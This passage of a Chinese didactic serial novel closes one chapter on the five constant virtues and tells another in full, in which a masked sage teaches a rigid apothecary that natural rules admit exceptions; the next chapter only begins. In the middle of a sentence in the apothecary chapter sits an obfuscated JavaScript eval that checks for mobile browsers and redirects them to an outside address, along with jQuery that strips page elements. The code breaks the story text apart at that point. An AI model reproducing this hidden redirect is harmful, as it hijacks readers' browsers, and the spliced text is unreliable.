“常道化之……”常守礼喃喃，忽问，“先生这《礼记》残篇，可否借老朽一观？” “可。”常道化之递过竹简，“此简可传阅，然需切记：五常是常道，非是铁律。守常当化，执德当通。过犹不及，执常成蔽。” 常守礼双手接过，如捧至宝。 常道化之又对众人道：“道理在此，列位可思可悟。然需切记：口说仁义，不如行事有度；口说礼智，不如处世有方。五常之要，在行不在言，在实不在虚，在化不在泥。” 说罢，他戴上斗笠，走出祠堂。芦苇斗笠在晨光中泛着微光，粗麻白衣的下摆扫过门槛，无声无息。 一、 常守礼的悔悟 常道化之走后，常守礼在祠堂中呆立良久。他展开《礼记》残篇，细读“礼，时为大”、“义者，宜也。宜者，时中也”等语，又回想常道化之所言，越思越心惊。 “我误人子弟三十载啊！” 他想起自己教书育人三十年，总以“五常不容紊”为铁律，教人死守仁义礼智信。见人行善过度，赞曰“仁人”；见人鲁莽行义，赞曰“义士”；见人虚礼做作，赞曰“守礼”；见人死读书不知变通，赞曰“明智”；见人痴守信诺不顾情理，赞曰“诚信”。却不知，过仁是愚，过义是鲁，虚礼是伪，愚智是呆，痴信是傻。 “那位先生说得好，五常是常道，非是铁律。仁当有度，义当有变，礼当有实，智当有辨，信当有权。我以铁律教人，岂不是以常杀人？” 他羞愧难当，当即将《礼经》收起，将《礼记》残篇悬于祠堂，对还未散去的众人深揖一礼。 “老朽食古不化，误人子弟。从今日起，老朽当闭门思过，重解五常，再不教人死守！” 众人见他诚恳，便劝道：“常老先生知错能改，善莫大焉。只是这五常，咱们还想听正解。” 常守礼便道：“《礼记》在此，列位可随意观览。老朽每日在此讲解，与列位共悟！” 从此，每逢初一十五，常守礼便在祠堂开讲五常新义。他不再说“五常不容紊”，而是讲解五常之度、之变、之实、之辨、之权。他结合清河镇实际，讲仁、义、礼、智、信的真义。 “列位，仁者爱人，是常道。然爱人有度，不可滥爱。譬如施粥，自家有余，施是仁；自家不足，强施是愚。救人危难，量力而行，是仁；不量力而行，是妄。此谓仁有度。” “义者宜也，是常道。然宜有时，不可僵守。譬如行义，时机合宜，当仁不让；时机不宜，当暂退让。此谓义有变。” “礼者仪也，是常道。然仪是表，心是本。敬长者，是礼；然若长者无德，敬而不从，亦是礼。男女有别，是礼；然别在体，心可相通。此谓礼有实。” “智者明也，是常道。然明需辨，不可执一。是是非非，当细辨之；善善恶恶，当深察之；进进退退，当权宜之。此谓智有辨。” “信者诚也，是常道。然诚有权，不可痴守。诺言当践，然若所诺非宜，可商可改；若强践而害人害己，是痴。此谓信有权。” 他讲得通透，众人听得豁然开朗。有那曾因“愚仁”、“鲁义”、“虚礼”、“愚智”、“痴信”吃过亏的，感慨万千。 “原来仁义礼智信，得这么守！” “是啊，仁得有度，不能滥施；义得有变，不能鲁莽；礼得有实，不能虚伪；智得有辨，不能死板；信得有权，不能痴傻。” “常老先生这么一讲，咱们就明白了！” 常守礼又在祠堂立了块木牌，上书：“仁义礼智信，此五常，不容紊。然常有度，义有变，礼有实，智有辨，信有权。守常不泥，执德不拘。” 二、 百姓的醒悟 常守礼在祠堂讲五常新义，清河镇的百姓渐渐醒悟。 从前，他们以为仁就是滥施，义就是鲁莽，礼就是虚套，智就是死读，信就是痴守。行善不同自身，是仁；打抱不同量力，是义；见人就鞠躬，是礼；读书不同变通，是智；许诺不同权宜，是信。结果，滥施的饿死自家，鲁莽的伤残自身，虚套的被人看轻，死读的误人误己，痴守的倾家荡产。 如今，他们明白了：仁要有度，量力而行；义要有变，审时度势；礼要有实，心诚为本；智要有辨，明察秋毫；信要有权，通权达变。五常是好，然过犹不及，执常成蔽。 “原来仁义礼智信，得这么用！” “可不是么！前街张寡妇，把自家口粮全施给乞丐，结果自己饿得昏倒，这不是仁，是傻！” “西巷李二愣，见三个汉子欺负一个，赤手空拳就上，结果被打断腿，这不是义，是莽！” “东市王掌柜，见人就作揖，背地里坑蒙拐骗，这不是礼，是伪！” “南街赵秀才，读死书，见贼偷救命粮，还念‘君子不欺暗室’，这不是智，是呆！” “北街周铁匠，答应三日交货，可铁料断了，硬要赶，结果出次品赔光，这不是信，是痴！” 有那吃过亏的，现身说法，劝人莫要“愚仁”、“鲁义”、“虚礼”、“愚智”、“痴信”。有那开明的，开始践行“有度之仁”、“有变之义”、“有实之礼”、“有辨之智”、“有权之信”。 施粥的，先量自家余粮；救人的，先估自身能力；行礼的，心诚为本；读书的，明辨为要；许诺的，权宜为度。 镇上的风气，为之一新。滥施的少了，量力而行的多了；鲁莽的少了，审时度势的多了；虚伪的少了，心诚的多了；死板的少了，变通的多了；痴傻的少了，通权的多了。 常守礼在祠堂，将百姓践行五常新义的事一一记录，成《清河五常新事》。他携此册，奔走于乡邻之间，倡行“有度之仁、有变之义、有实之礼、有辨之智、有权之信”。 乡邻们见常守礼变了，也渐改前非。有那曾因“愚仁”饿倒的张寡妇，如今施粥量力而为，自家保有余粮，还能长施。有那曾因“鲁义”断腿的李二愣，如今救人先估量，或呼救，或智取，再不莽撞。有那曾因“虚礼”被人看轻的王掌柜，如今以诚待人，生意反而好了。有那曾因“愚智”误事的赵秀才，如今读书明辨，处事有方。有那曾因“痴信”赔光的周铁匠，如今许诺有度，有诺必践，若遇变故，则与主家商议，主家也体谅。 五常新义，渐入人心。 三、 《礼记》的流传 常守礼倡五常新义之事，渐传周边。附近乡镇的夫子、乡绅，闻讯来清河镇取经。常守礼便将《礼记》残篇借出传抄，更将《清河五常新事》广为散发。 “五常是常道，非是铁律。此理通行天下。” “仁当有度，义当有变，礼当有实，智当有辨，信当有权。过犹不及，执常成蔽。” “清河新事，可供参考。但各地民情不同，当因地制宜。” 抄书者、传册者，回去后亦在本地宣讲。有那开明的夫子、乡绅，亦加入其中。一时间，“五常有度、有变、有实、有辨、有权”之理，传遍州县。 有那固执的老儒，初闻此理，斥为“离经叛道”。但见百姓践行，实有裨益，也渐改观念。有那曾因死守五常吃亏的，闻此理如获至宝。 常道化之的名声，渐渐在州县传开。都说有位戴芦苇斗笠、蒙葛布的高人，深明五常，点破迷障，使人明“五常是常道，非是铁律”之理，知“守常当化，执德当通”之要。 四、 三年后的祠堂 三年后的一个初一，祠堂天井里又坐满了人。不仅有清河镇的百姓，还有周边乡镇的乡民。 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常守礼道：“以事劝之。请其观‘愚仁’之害、‘鲁义’之损、‘虚礼’之伪、‘呆智’之误、‘痴信’之败，再观‘有度之仁’之益、‘有变之义’之利、‘有实之礼’之诚、‘有辨之智’之明、‘有权之信’之通。两相对比，其理自明。” 外乡夫子点头记下。 这时，祠堂门口走进一人。还是芦苇斗笠，粗麻白衣，腰间木剑，脸上蒙着葛布。天井里人声嘈杂，他却静立如松，不惹尘埃。 “常道先生！”常守礼惊喜，忙迎出。 常道化之微微点头，看着祠堂悬着的《礼记》残篇与《清河五常新事》，道：“三年不见，清河气象一新。” 常守礼深揖：“全赖先生点拨！守礼如今知五常是常道，非是铁律，更倡有度之仁、有变之义、有实之礼、有辨之智、有权之信。百姓践行，得益良多！” 常道化之看向众人：“列位于五常之道，所知几何？” 众人纷纷道：“知五常是常道！”“知守常不泥常！”“知有度、有变、有实、有辨、有权！” “好。”常道化之点头，“知五常是常道，则不执死理；知守常不泥常，则能通权变；知有度有变有实有辨有权，则能行真仁、真义、真礼、真智、真信。此乃百姓之智，人伦之福。” 他又问：“然五常之行，易入两歧：一曰过，二曰不及。过仁则愚，过义则鲁，过礼则伪，过智则诈，过信则痴；不及仁则刻，不及义则怯，不及礼则野，不及智则昧，不及信则诈。此又当如何？” 众人肃然。常守礼道：“先生所言极是！五常之行，贵在中和。仁不愚不刻，义不鲁不怯，礼不伪不野，智不诈不昧，信不痴不诈。此所谓‘执两用中’，方是正道。” “正是。”常道化之道，“五常如琴弦，过紧则易断，过松则无声。松紧得宜，方成雅音。仁、义、礼、智、信，亦当如是。不松不紧，不偏不倚，不执不拘，不泥不纵，方是常道。” 他转向众人：“列位当谨记：行仁，当爱人而有度；行义，当守宜而有变；行礼，当重仪而有实；行智，当明理而有辨；行信，当守诺而有权。五常之行，在得其中，不在走极端。” 众人齐声道：“谨记先生教诲！” 常道化之从怀中取出一卷书，递给常守礼：“此乃《五常通变录》，是我游历各地，记录五常得失、过与不及之鉴所编。你可传抄于众，供百姓参考。” 常守礼双手接过，如获至宝。 常道化之又对众人道：“此书可参阅，但需切记：五常之行，在躬行不在空谈。说得仁至义尽，不如行得中道适宜。五常之要，在行不在言，在中不在偏，在通不在泥。” 说罢，他戴上斗笠，走出祠堂。芦苇斗笠在晨光中泛着淡金，粗麻白衣的下摆扫过门槛，不染尘埃。 常守礼对着那背影深深一揖，久久不起。 百姓们也纷纷作揖。 尾声五常谣 多年后，清河镇的孩童玩耍时，会唱一首童谣： 仁义礼智信五常，常老先生死守僵。 愚仁鲁义虚礼伪，呆智痴信把人伤。 常道先生来点化，五常是道非铁律。 仁有度，义有变，礼有实，智有辨，信有权。 从此清河气象新，五常中行人安康。 有外乡人听了，问镇里老人：“这常道先生是何人？” 老人便会指着祠堂说：“是位教人明五常、知通变的先生。他来了，常老先生知错了，百姓醒悟了，咱们镇知道五常是常道、不是铁律了。” “他现在何处？” “不知道。教完道理，他就走了。” “还会回来么？” “等咱们又死守字面、不知变通的时候，他大概就会回来吧。” 外乡人若有所思，走进祠堂。堂中悬着《礼记》残篇与《清河五常新事》，木牌上刻着那十二字：“仁义礼智信，此五常，不容紊。”下面还有一行小字：“然常有度，义有变，礼有实，智有辨，信有权。守常不泥，执德不拘。” 也许那位常道先生，正在某个地方，看人论五常、行中道吧。他想。 他走出祠堂，晨光正好。卖豆腐的吆喝，茶馆的炊烟，木匠的刨花，脚力的脚步。五常之道，看似高远，实则就在这晨光炊烟、刨花脚步之中。 本章诫世 一、 五常真义训 - 曰仁义，礼智信。此五常，不容紊 - 破解法：为学者，自问“可死守五常？可知常是道非律？可曾执常成蔽？”；为行者，自问“可愚仁鲁义？可虚礼呆智痴信？可曾行有度、有变、有实、有辨、有权？” 二、 三谬三正 - 常守礼之谬在“死守”——以五常为铁律，不容变通 - 世俗之谬在“走极端”——或过或不及，愚仁、鲁义、虚礼、呆智、痴信 - 百姓之谬在“盲从”——不知五常真义，盲目践行，反受其害 - 三正：常守礼倡五常新义，百姓明守常不泥，清河行中道适宜 三、 化之大道 - 深层隐喻：仁义礼智信，是人伦常道，然常是道，非是铁律。道有度，有变，有实，有辨，有权。死守字面，不知变通，是执常成蔽；走极端，过或不及，是失道偏行。五常之行，贵在中和，贵在通变，贵在躬行 - 终极指向：世人守德，易入两歧：一曰死守，二曰走极端。死守则僵，走极端则偏。守德当知常是道，道可通变；行德当知中为要，要不偏倚。仁、义、礼、智、信，皆是好德，然需有度、有变、有实、有辨、有权，方是真德。德在行，不在言；在中，不在偏；在通，不在泥 五常偈： 清河祠堂常守礼，死守五常不容紊。 愚仁鲁义虚礼伪，呆智痴信害人多。 常道先生来点化，五常是道非铁律。 从此守常不泥常，中道适宜乐安康。 后世叹： 曰仁义，礼智信，此五常，不容紊。 常生死守成铁律，百姓盲从受其害。 常道先生来点化，五常是道可通变。 三载中行新气象，清河百姓乐融融。 正是： 清河祠堂开讲席，常生死守五常道。 愚仁鲁义虚礼伪，呆智痴信害己身。 常道先生来点破，五常是道非铁律。 从此守常不泥常，中道适宜气象新。 103.万物谳 楔子·药堂奇论 栖霞镇有家“仁济药堂”，每逢三六九集日，药堂主人陈守拙便在门口设座开讲医理药性。这日正值初九，药堂前已围满了人。陈守拙五十来岁，留着山羊须，手持一册《本草经》，正滔滔不绝： “……故曰：天地生万物，各有所用。地所生，有草木，此植物，遍水陆。有虫鱼，有鸟兽，此动物，能飞走。稻粱菽，麦黍稷，此六谷，人所食。马牛羊，鸡犬豕，此六畜，人所饲。万物有序，各归其类，此乃天地之理也！” 围观的多是些市井百姓，有采药的、打柴的、捕鱼的、贩粮的，纷纷点头。 陈守拙捻须继续道：“草木之中，药草为上，可治病救人。故采药当明时令，炮制当遵古法，用药当按君臣佐使。譬如这当归……”他拿起案上一味药材，“当归补血，然必得秋采者为佳。若春采，则性燥；夏采，则力薄。此乃天地时序，不可违逆。” “虫鱼鸟兽亦然。”他又指向墙角笼中一只活兔，“兔血可入药，然必得月圆之夜取血，方有灵效。此乃阴阳之理，不可错乱。” “六谷为食，然食亦有道。”他端起一碗米，“稻米性平，宜常食；粱米性温，宜冬食；菽豆性凉，宜夏食；麦面性燥，宜少食；黍米性黏，宜慎食；稷米性硬，宜熬粥。此乃食性之理，不可不知。” “六畜为饲，然饲亦有方。”他望向街角牛车，“马宜夜饲，牛宜昼饲，羊宜放饲，鸡宜散饲，犬宜定时饲，豕宜稠饲。此乃饲畜之理，不可乱为。” 众人听得如痴如醉。采药的老孙头叹道：“陈先生真乃神医，竟连草木虫鱼、六谷六畜的理都通晓！” 陈守拙面露得色：“万物皆有理，顺之则昌，逆之则亡。故用药必按时令，食谷必按食性，饲畜必按方法，此乃顺天应人之道也！” 这时，人群中传来一个清朗的声音：“此言差矣。” 众人望去，见说话的是个戴斗笠、蒙面纱、穿白衣的外乡人。那斗笠是用细竹与菖蒲叶混编的，檐下缀着几束风干的艾草。白衣是粗葛所制，洗得泛白，袖口有补丁。腰间用麻绳系一柄木剑，剑柄缠着褪色的蓝布。面纱是细麻，遮住了大半张脸，只露出一双明澈如深潭的眼睛。 陈守拙皱眉：“这位兄台，差在何处？” “地所生，有草木。此植物，遍水陆。有虫鱼，有鸟兽。此动物，能飞走。稻粱菽，麦黍稷。此六谷，人所食。马牛羊，鸡犬豕。此六畜，人所饲。”那人缓缓念出这段，声音平和，“此是实情。然陈先生说万物有序，各归其类，用药必按时令，食谷必按食性，饲畜必按方法，却是错了。” “错了？”陈守拙不悦，“此乃古圣先贤所传，岂会有错？” “古圣所传，是大概，非是铁则。”那人走出人群，对众人拱手，“列位乡邻，草木遍水陆，是实。然同一种草，生于山南与山北，性或有异；长于水边与旱地，效或不同。若必按时令，则山南可采时，山北或未熟；水边可用时，旱地或已老。此乃地理之别，岂可一概而论？” 众人窃窃私语。陈守拙面色一沉：“那虫鱼鸟兽又当如何？” “虫鱼鸟兽，能飞走，是实。”那人道，“然兔血入药，必得月圆，此是拘泥。月圆之夜，兔血固佳，然若病急，岂可坐等月圆？况月有盈亏，地有南北，此处月圆，彼处或未圆。此乃天时之变，岂可死守？” 陈守拙额角见汗：“那六谷食性……” “六谷为人所食，是实。”那人道，“然稻米性平，宜常食，不错。然若人患湿热，食稻米或增湿；若人患寒燥，食稻米或得润。食性在人，不在谷。同是稻米，此人食之宜，彼人食之或不宜。此乃人之异，岂可一概？” “六畜为饲……” “六畜为人所饲，是实。”那人道，“然马宜夜饲，牛宜昼饲，此是常理，非是铁律。若马白日劳作，夜间岂可不饲？若牛夜间需用，白昼岂可多饲？饲畜在需，不在时。同是牛马，此家饲之宜，彼家饲之或不宜。此乃用之异，岂可死拘？” 他转向陈守拙：“陈先生，万物有理，是实。然理是活理，非是死理。草木有地异，虫鱼有时变，六谷有人殊，六畜有用别。若将古理奉为铁则，死守时令、食性、方法，则是以理杀人，以法误事。此非顺天应人，乃逆天违人。” 陈守拙面色发白，强撑道：“你……你妄改古法！先贤智慧，岂容轻侮？” 那人摇头：“先贤智慧，是明理，非是立规。理有常，亦有变。明其常，通其变，方是真智慧。若死守成规，不知变通，是谓‘执理成障’。” 他从怀中取出一卷发黄的绢书，展开示众：“此乃《淮南子》残卷，有云：‘橘逾淮为枳’。同是橘树，生于淮南则为橘，生于淮北则为枳。草木尚因地而异，况用法乎？又云：‘兔丝无根而生，蛇无足而行’。万物各有其性，岂可一概而论？” 众人围观，果见绢书有载。 陈守拙踉跄一步，扶住药案，喃喃道：“橘逾淮为枳……万物各有其性……” 众人哗然。有那明理的，叹道：“这位先生说得是！我采药多年，同是当归，山南的就跟山北的不一样，水边的就跟旱地的不同！” “是啊，我捕鱼的知道，同一种鱼，春汛跟秋汛，肥瘦都不一样，岂可一概？” “咱们种地的也知道，同是稻子，水田的跟旱田的，味道都不同！” “养牲口的也知道，同是牛，耕地的跟拉车的，喂法都不一样！” 那人点头：“正是。万物有常理，亦有变理。明常理，可知大概；通变理，可合实际。若死守常理，不知变通，是谓‘执常害变’。” 他转向陈守拙：“陈先生通晓医理药性，是善心。然以常理为铁则，死守时令、食性、方法，是过矣。用药不因时因地因人制宜，是庸医；食谷不因体因疾因时制宜，是愚食；饲畜不因用因力因情制宜，是呆饲。此非治病养人，是误人害畜。” 陈守拙冷汗涔涔，无言以对。 那人拱手道：“今日多言，望列位明理：草木虫鱼，六谷六畜，各有所用。然用有常，亦有变。用药当因时因地因人制宜，食谷当因体因疾因时制宜，饲畜当因用因力因情制宜。守常而不泥常，明理而能通变，方是顺天应人之道。” 说罢，转身欲走。 “先生留步！”陈守拙颤巍巍深揖一礼，“先生一席话，如醍醐灌顶。老朽拘泥古法，执常害变，误人误己。敢问先生高姓大名？” “我姓物，名理，字通之。” “物理通之……”陈守拙喃喃，忽问，“先生这《淮南子》残卷，可否借老朽一观？” “可。”物理通之递过绢书，“此书可传阅，然需切记：万物有理，理有常变。明常可知大概，通变可合实际。执常成障，守理成蔽。” 陈守拙双手接过，如获至宝。 物理通之又对众人道：“道理在此，列位可思可悟。然需切记：口说万物，不如亲察；口说常变，不如践行。草木虫鱼，六谷六畜，皆在眼前。观其异，察其变，用其宜，方是真知。” 说罢，他戴上斗笠，走出人群。菖蒲斗笠在阳光下泛着青翠，粗葛白衣的下摆扫过尘土，不染纤尘。 一、 陈守拙的悔悟 物理通之走后，陈守拙在药堂前呆立良久。他展开《淮南子》残卷，细读“橘逾淮为枳”、“兔丝无根而生，蛇无足而行”等语，又回想物理通之所言，越思越心惊。 “我误人性命二十载啊！” 他想起自己行医二十年，总以古法为铁则，用药必按时令，食谷必按食性。有病人急症，因未到采药时令，便让人苦等，延误病情；有病人体异，因食性不合，便禁食谷类，致人虚弱；有畜生病，因饲法不合古方，便死守成规，致畜死亡。 “那位先生说得好，万物有理，理有常变。明常可知大概，通变可合实际。我死守古法，不知变通，岂不是以理杀人，以法误事？” 他羞愧难当，当即将《本草经》收起，将《淮南子》残卷悬于药堂，对还未散去的众人深揖一礼。 “老朽拘泥古法，误人性命。从今日起，老朽当闭门思过，重研药理，再不墨守成规！” 众人见他诚恳，便劝道：“陈先生知错能改，善莫大焉。只是这草木虫鱼、六谷六畜的理，咱们还想听正解。” 陈守拙便道：“《淮南子》在此，列位可随意观览。老朽每日在此讲解，与列位共悟！” 从此，每逢三六九集日，陈守拙便在药堂前开讲万物新理。他不再说“万物有序，各归其类”，而是讲解草木虫鱼、六谷六畜的常与变。他结合栖霞镇实际，讲用药、食谷、饲畜的因时因地因人因疾因用制宜。 “列位，草木遍水陆，是常。然同一种草，生于山南与山北，性或有异，是变。故采药当观地，山南可采时，山北或未熟，当待之；水边可用时，旱地或已老，当择之。此谓因时因地制宜。” “虫鱼鸟兽能飞走，是常。然兔血入药，月圆固佳，然病急岂可等月圆？当以病为先，时令为次。此谓因病制宜。” “六谷为人所食，是常。然稻米性平，宜常食，然若人患湿热，食之或增湿，当减之；若人患寒燥，食之或得润，当增之。此谓因人因疾制宜。” “六畜为人所饲，是常。然马宜夜饲，牛宜昼饲，然若马白日劳作，夜间岂可不饲？当加饲；若牛夜间需用，白昼岂可多饲？当调饲。此谓因用因力制宜。” 他讲得通透，众人听得豁然开朗。有那曾因“死守时令”、“死按食性”、“死遵饲法”吃过亏的，感慨万千。 “原来万物之理，得这么用！” “是啊，采药得看地，不能光看时令；食谷得看人，不能光看食性；饲畜得看用，不能光看古法！” “陈先生这么一讲，咱们就明白了！” 陈守拙又在药堂前立了块木牌，上书：“地所生，有草木。此植物，遍水陆。有虫鱼，有鸟兽。此动物，能飞走。稻粱菽，麦黍稷。此六谷，人所食。马牛羊，鸡犬豕。此六畜，人所饲。然草木有地异，虫鱼有时变，六谷有人殊，六畜有用别。明常通变，用宜为要。” 二、 百姓的醒悟 陈守拙在药堂前讲万物新理，栖霞镇的百姓渐渐醒悟。 从前，他们以为万物之理是死的：采药必按时令，食谷必按食性，饲畜必按方法。结果，时令不对，急病等死；食性不合，体弱致病；饲法不当，牲畜亡毙。 如今，他们明白了：万物之理是活的。草木因地而异，虫鱼因时而变，六谷因人而宜，六畜因用而别。采药当看地看时看人，食谷当看体看疾看时，饲畜当看用看力看情。理是常，用是变，守常通变，方是正道。 “原来万物之理，得这么懂！” “可不是么！我爹前年急病，需用夏枯草，可陈先生说夏枯草得秋采，结果耽误了。要是早懂这理，管它秋采夏采，救命要紧！” “我娘体寒，陈先生说稻米性平宜常食，结果越吃越寒。后来换个郎中，说体寒得少吃稻米，多吃粱米，果然好了。” “我家那头牛，白日耕地，陈先生说牛宜昼饲，不让夜里喂，结果牛越耕越瘦。后来夜里偷偷喂，牛才壮实。” 有那吃过亏的，现身说法，劝人莫要“死守时令”、“死按食性”、“死遵饲法”。有那开明的，开始践行“因时因地因人制宜”的新理。 采药的，看地看时看人用药；食谷的，看体看疾看时择食；饲畜的，看用看力看情调饲。 镇上的风气，为之一新。死守的少了，变通的多了；误事的少了，得益的多了。 陈守拙在药堂，将百姓践行万物新理的事一一记录，成《栖霞万物新事》。他携此册，奔走于乡邻之间，倡行“因时因地因人因疾因用制宜”之道。 乡邻们见陈守拙变了，也渐改前非。有那曾因“死守时令”延误病情的，如今急病急治，不拘时令；有那曾因“死按食性”致人虚弱的，如今看体择食，不拘食性；有那曾因“死遵饲法”致畜死亡的，如今看用调饲，不拘古法。 万物新理，渐入人心。 三、 《淮南子》的流传 陈守拙倡万物新理之事，渐传周边。附近乡镇的郎中、农夫、畜户，闻讯来栖霞镇取经。陈守拙便将《淮南子》残卷借出传抄，更将《栖霞万物新事》广为散发。 “万物有理，理有常变。此理通行天下。” “草木有地异，虫鱼有时变，六谷有人殊，六畜有用别。明常通变，用宜为要。” “栖霞新事，可供参考。但各地物产不同，当因地制宜。” 抄书者、传册者，回去后亦在本地宣讲。有那开明的郎中、老农、畜户，亦加入其中。一时间，“万物有常变，用宜为要”之理，传遍州县。 有那固执的郎中，初闻此理，斥为“离经叛道”。但见百姓践行，实有裨益，也渐改观念。有那曾因死守古法吃亏的，闻此理如获至宝。 物理通之的名声，渐渐在州县传开。都说有位戴菖蒲斗笠、蒙细麻的高人，深明万物，点破迷障，使人明“万物有理，理有常变”之理，知“明常通变，用宜为要”之道。 四、 三年后的集日 三年后的一个集日，药堂前又围满了人。不仅有栖霞镇的百姓，还有周边乡镇的乡民。 陈守拙正在讲解“地所生，有草木”那一段。 “……故曰：万物有理，理有常变。草木遍水陆，是常；然同种异性，是变。虫鱼能飞走，是常；然同种异时，是变。六谷人所食，是常；然同食异效，是变。六畜人所饲，是常；然同饲异宜，是变。明其常，可知大概；通其变，可合实际。死守常理，不知变通，是谓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162445|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ‘执常害变’。” 他指着药堂前悬着的《淮南子》残卷与《栖霞万物新事》，道：“列位看，这是古人之训，这是今事之证。守常而不泥常，明理而能通变，方是真智慧。” 众人纷纷称是。有外乡郎中问：“陈先生，咱们那儿还有人死守古法，采药必按时令，用药必按方书，食谷必按食性，饲畜必按古方。见人变通，便斥为‘胡来’。该如何劝解？” 陈守拙道：“以事劝之。请其观‘死守时令’之误、‘死按食性’之害、‘死遵饲法’之损，再观‘因时制宜’之效、‘因人制宜’之益、‘因用制宜’之利。两相对比，其理自明。” 外乡郎中点头记下。 这时，人群中走出一人。还是菖蒲斗笠，粗葛白衣，腰间木剑，脸上蒙着细麻。集市喧嚣，他却静立如松，不惹尘埃。 “物理先生！”陈守拙惊喜，忙迎出。 物理通之微微点头，看着药堂前悬着的《淮南子》残卷与《栖霞万物新事》，道：“三年不见，栖霞气象一新。” 陈守拙深揖：“全赖先生点拨！守拙如今知万物有理，理有常变，更倡因时因地因人因疾因用制宜。百姓践行，得益良多！” 物理通之看向众人：“列位于万物之理，所知几何？” 众人纷纷道：“知万物有理！”“知理有常变！”“知明常通变，用宜为要！” “好。”物理通之点头，“知万物有理，则不妄为；知理有常变，则不泥古；知明常通变，用宜为要，则能合实际。此乃百姓之智，万物之幸。” 他又问：“然万物之用，易入两歧：一曰泥古，二曰妄为。泥古者，死守常理，不知变通；妄为者，无视常理，胡作非为。此又当如何？” 众人肃然。陈守拙道：“先生所言极是！万物之用，贵在合宜。泥古则蔽，妄为则乱。明常以知大概，通变以合实际，用宜以得其中，方是正道。” “正是。”物理通之道，“万物如流水，有常道，亦有变途。知常道，可顺流而下；通变途，可避礁而行。若死守常道，遇礁不知避，是愚；若无视常道，任意妄行，是莽。明常通变，用宜得中，方是善用。” 他转向众人：“列位当谨记：用草木，当知地异时变；用虫鱼，当知时异性异；用六谷，当知人异疾异；用六畜，当知用异力异。知其常，通其变，用其宜，方是顺天应人。” 众人齐声道：“谨记先生教诲！” 物理通之从怀中取出一卷书，递给陈守拙：“此乃《万物宜用录》，是我游历各地，记录万物常变、用宜得失之鉴所编。你可传抄于众，供百姓参考。” 陈守拙双手接过，如获至宝。 物理通之又对众人道：“此书可参阅，但需切记：万物之理，在察不在背。背得千条理，不如察得一事变。草木虫鱼，六谷六畜，皆在眼前。细察其异，深通其变，善用其宜，方是真知。” 说罢，他戴上斗笠，走入人群。菖蒲斗笠在阳光下泛着青翠，粗葛白衣的下摆扫过尘土，不惹尘埃。 陈守拙对着那背影深深一揖，久久不起。 百姓们也纷纷作揖。 尾声万物谣 多年后，栖霞镇的孩童玩耍时，会唱一首童谣： 地生草木遍水陆，虫鱼鸟兽能飞走。 六谷人食六畜饲，陈医死守不知变。 物理先生来点化，万物有理有常变。 明常通变用其宜，草木虫鱼皆顺应。 六谷六畜因人异，从此栖霞无病灾。 有外乡人听了，问镇里老人：“这物理先生是何人？” 老人便会指着药堂说：“是位教人明万物、知常变的先生。他来了，陈先生知错了，百姓醒悟了，咱们镇知道万物有理、理有常变了。” “他现在何处？” “不知道。教完道理，他就走了。” “还会回来么？” “等咱们又死守成法、不知变通的时候，他大概就会回来吧。” 外乡人若有所思，走到药堂前。堂前悬着《淮南子》残卷与《栖霞万物新事》，木牌上刻着那段话：“地所生，有草木……此六畜，人所饲。”下面还有一行小字：“然草木有地异，虫鱼有时变，六谷有人殊，六畜有用别。明常通变，用宜为要。” 也许那位物理先生，正在某个地方，看人用万物、察常变吧。他想。 他走出集市，夕阳西下。采药的归来，捕鱼的收网，农人荷锄，牧童驱牛。万物之理，看似高深，实则就在这草木虫鱼、六谷六畜之中。 本章诫世 一、 万物真义训 - 地所生，有草木。此植物，遍水陆。有虫鱼，有鸟兽。此动物，能飞走。稻粱菽，麦黍稷。此六谷，人所食。马牛羊，鸡犬豕。此六畜，人所饲。 - 破解法：为医者，自问“可死守古法？可知理有常变？可曾因时因地因人制宜？”；为民者，自问“可泥古不化？可知万物有异？可曾察异通变？” 二、 三谬三正 - 陈守拙之谬在“泥古”——以古法为铁则，死守时令、食性、饲法 - 世俗之谬在“盲从”——不知万物有异，盲目遵从，反受其害 - 百姓之谬在“执常”——不知理有常变，死守常理，误事害己 - 三正：陈守拙倡万物新理，百姓明常变之道，栖霞行制宜之法 三、 通之大道 - 深层隐喻：万物有理，理有常变。草木虫鱼，六谷六畜，各有其性，各有其用。然性有异，用有别，时地人疾用，皆可致变。死守常理，不知变通，是执常成障；无视常理，胡作非为，是妄为成乱。明常通变，用宜得中，方是善用万物之道 - 终极指向：世人用物，易入两歧：一曰泥古，二曰妄为。泥古则蔽，妄为则乱。用物当知物有常性，亦有变异；当明常以知大概，通变以合实际，用宜以得其中。草木虫鱼，六谷六畜，皆是天赐，善用则利人，误用则害人。用物在察，不在背；在通，不在泥；在宜，不在固 万物偈： 栖霞药堂陈守拙，死守古法不知变。 草木虫鱼六谷物，六畜饲法皆成规。 物理先生来点化，万物有理有常变。 明常通变用其宜，从此百姓得安康。 后世叹： 地生草木遍水陆，虫鱼鸟兽能飞走。 六谷人食六畜饲，陈医泥古不知变。 物理先生来点化，万物常变用宜要。 三载制宜新气象，栖霞百姓乐陶陶。 正是： 栖霞药堂讲医理，陈医死守古法严。 草木虫鱼皆成规，六谷六畜俱按方。 物理先生来点破，万物常变用宜中。 从此明常更通变，百姓得益乐无穷。 104.七情谳 楔子·戏台谬论 云梦镇有座老戏台，每逢朔望之日，镇上“明理堂”的讲书先生宋守中便在此开讲人伦道理。这日正值望日，戏台下已挤满了人。宋守中四十许年纪，穿一袭洗得发白的青布长衫，手持一卷《性理大全》，正襟危坐在戏台中央的方桌后，声音清朗： “……故曰：人有七情，曰喜、曰怒、曰哀、曰惧、爱、恶、欲。此七情，俱是人之常情。然情不可纵，纵则伤身；情不可抑，抑则伤性。当以理节之，以礼约之，以道导之。喜怒哀惧，发而皆中节；爱恶欲求，行而皆合道。此乃圣人之教，修身之本也！” 台下多是些市井百姓，有开茶馆的、做点心的、打铁的、走镖的，纷纷点头称是。 